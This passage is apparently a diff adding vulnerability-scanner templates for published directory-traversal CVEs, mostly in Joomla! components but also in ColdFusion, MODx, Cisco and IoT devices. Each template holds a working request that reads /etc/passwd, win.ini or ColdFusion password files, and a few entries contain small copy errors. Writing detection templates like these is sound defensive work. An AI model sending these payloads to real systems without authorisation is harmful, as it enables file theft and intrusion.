+      - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-0943.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-0943
+
+info:
+  name: Joomla! Component com_jashowcase - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/11090
+    - https://www.cvedetails.com/cve/CVE-2010-0943
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-0944.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-0944
+
+info:
+  name: Joomla! Component com_jcollection - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/11088
+    - https://www.cvedetails.com/cve/CVE-2010-0944
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1306.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1306
+
+info:
+  name: Joomla! Component Picasa 2.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12058
+    - https://www.cvedetails.com/cve/CVE-2010-1306
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1314.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1314
+
+info:
+  name: Joomla! Component Highslide 1.5 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12086
+    - https://www.cvedetails.com/cve/CVE-2010-1314
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1345.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1345
+
+info:
+  name: Joomla! Component Cookex Agency CKForms - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/15453
+    - https://www.cvedetails.com/cve/CVE-2010-1345
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1353.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1353
+
+info:
+  name: Joomla! Component LoginBox - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the LoginBox Pro (com_loginbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12068
+    - https://www.cvedetails.com/cve/CVE-2010-1353
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1474.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1474
+
+info:
+  name: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12182
+    - https://www.cvedetails.com/cve/CVE-2010-1474
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1475.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1475
+
+info:
+  name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12147
+    - https://www.cvedetails.com/cve/CVE-2010-1475
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1495.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1495
+
+info:
+  name: Joomla! Component Matamko 1.01 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Matamko (com_matamko) component 1.01 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12286
+    - https://www.cvedetails.com/cve/CVE-2010-1495
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1532.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1532
+
+info:
+  name: Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the givesight PowerMail Pro (com_powermail) component 1.5.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12118
+    - https://www.cvedetails.com/cve/CVE-2010-1532
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1533.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1533
+
+info:
+  name: Joomla! Component TweetLA 1.0.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the TweetLA (com_tweetla) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12142
+    - https://www.cvedetails.com/cve/CVE-2010-1533
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1535.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1535
+
+info:
+  name: Joomla! Component TRAVELbook 1.0.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the TRAVELbook (com_travelbook) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12151
+    - https://www.cvedetails.com/cve/CVE-2010-1535
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1602.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1602
+
+info:
+  name: Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the ZiMB Comment (com_zimbcomment) component 0.8.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12283
+    - https://www.cvedetails.com/cve/CVE-2010-1602
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1657.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1657
+
+info:
+  name: Joomla! Component SmartSite 1.0.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the SmartSite (com_smartsite) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12428
+    - https://www.cvedetails.com/cve/CVE-2010-1657
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1718.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1718
+
+info:
+  name: Joomla! Component Archery Scores 1.0.6 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in archeryscores.php in the Archery Scores (com_archeryscores) component 1.0.6 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12282
+    - https://www.cvedetails.com/cve/CVE-2010-1718
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1722.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1722
+
+info:
+  name: Joomla! Component Online Market 2.x - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12177
+    - https://www.cvedetails.com/cve/CVE-2010-1722
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1875.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1875
+
+info:
+  name: Joomla! Component Property - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Real Estate Property (com_properties) component 3.1.22-03 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/11851
+    - https://www.cvedetails.com/cve/CVE-2010-1875
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1953.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1953
+
+info:
+  name: Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the iNetLanka Multiple Map (com_multimap) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12288
+    - https://www.cvedetails.com/cve/CVE-2010-1953
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1954.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1954
+
+info:
+  name: Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the iNetLanka Multiple root (com_multiroot) component 1.0 and 1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12287
+    - https://www.cvedetails.com/cve/CVE-2010-1954
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1955.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1955
+
+info:
+  name: Joomla! Component Deluxe Blog Factory 1.1.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Deluxe Blog Factory (com_blogfactory) component 1.1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12238
+    - https://www.cvedetails.com/cve/CVE-2010-1955
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1979.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1979
+
+info:
+  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12088
+    - https://www.cvedetails.com/cve/CVE-2010-1979
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-1983.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-1983
+
+info:
+  name: Joomla! Component redTWITTER 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php
+  reference: |
+    - https://www.exploit-db.com/exploits/12055
+    - https://www.cvedetails.com/cve/CVE-2010-1983
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-2033.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-2033
+
+info:
+  name: Joomla Percha Categories Tree 0.6 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://packetstormsecurity.com/files/89654/Joomla-Percha-Categories-Tree-0.6-Local-File-Inclusion.html
+    - https://www.cvedetails.com/cve/CVE-2010-2033
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-2036.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-2036
+
+info:
+  name: Joomla! Component Percha Fields Attach 1.0 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/34004
+    - https://www.cvedetails.com/cve/CVE-2010-2036
+  tags: cve,cve2010,lfi,joomla
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-2259.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-2259
+
+info:
+  name: Joomla! Component com_bfsurvey - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/10946
+    - https://www.cvedetails.com/cve/CVE-2010-2259
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-2307.yaml

@@ -0,0 +1,26 @@
+id: CVE-2010-2307
+
+info:
+  name: Motorola SBV6120E SURFboard Digital Voice Modem SBV6X2X-1.0.0.5-SCM - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in the web server for Motorola SURFBoard cable modem SBV6120E running firmware SBV6X2X-1.0.0.5-SCM-02-SHPC allow remote attackers to read arbitrary files via (1) "//" (multiple leading slash), (2) ../ (dot dot) sequences, and encoded dot dot sequences in a URL request.
+  reference: |
+    - https://www.securityfocus.com/bid/40550/info
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-2307
+  tags: cve,cve2010,iot,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-2682.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-2682
+
+info:
+  name: Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Realtyna Translator (com_realtyna) component 1.0.15 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/14017
+    - https://www.cvedetails.com/cve/CVE-2010-2682
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-2861.yaml

@@ -0,0 +1,30 @@
+id: CVE-2010-2861
+
+info:
+  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
+  author: pikpikcu
+  severity: high
+  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+    - http://www.adobe.com/support/security/bulletins/apsb10-18.html
+  tags: cve,cve2010,coldfusion,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "rdspassword="
+          - "encrypted="
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-3426.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-3426
+
+info:
+  name: Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in jphone.php in the JPhone (com_jphone) component 1.0 Alpha 3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/14964
+    - https://www.cvedetails.com/cve/CVE-2010-3426
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jphone&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-4231.yaml

@@ -0,0 +1,26 @@
+id: CVE-2010-4231
+
+info:
+  name: Camtron CMNC-200 IP Camera - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: The CMNC-200 IP Camera has a built-in web server that is enabled by default. The server is vulnerable to directory transversal attacks, allowing access to any file on the camera file system.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-4231
+    - https://www.exploit-db.com/exploits/15505
+  tags: cve,cve2010,iot,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/../../../../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-4617.yaml

@@ -0,0 +1,27 @@
+id: CVE-2010-4617
+
+info:
+  name: Joomla! Component JotLoader 2.2.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/15791
+    - https://www.cvedetails.com/cve/CVE-2010-4617
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jotloader&section=../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2010/CVE-2010-5278.yaml

@@ -0,0 +1,29 @@
+id: CVE-2010-5278
+
+info:
+  name: MODx manager - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.
+  reference: |
+    - https://www.exploit-db.com/exploits/34788
+    - https://www.cvedetails.com/cve/CVE-2010-5278
+  tags: cve,cve2010,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body

cves/2011/CVE-2011-0049.yaml

@@ -0,0 +1,29 @@
+id: CVE-2011-0049
+
+info:
+  name: Majordomo2 - SMTP/HTTP Directory Traversal
+  author: pikpikcu
+  severity: high
+  description: Directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
+  reference: |
+    - https://www.exploit-db.com/exploits/16103
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
+    - http://www.kb.cert.org/vuls/id/363726
+  tags: cve,cve2011,majordomo2,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-1669.yaml

@@ -0,0 +1,27 @@
+id: CVE-2011-1669
+
+info:
+  name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.
+  reference: |
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669
+    - https://www.exploit-db.com/exploits/17119
+  tags: cve,cve2011,wordpress,wp-plugin,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-3315.yaml

@@ -0,0 +1,25 @@
+id: CVE-2011-3315
+
+info:
+  name: Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049.
+  reference: https://www.exploit-db.com/exploits/36256
+  tags: cve,cve2011,lfi,cisco
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd"
+
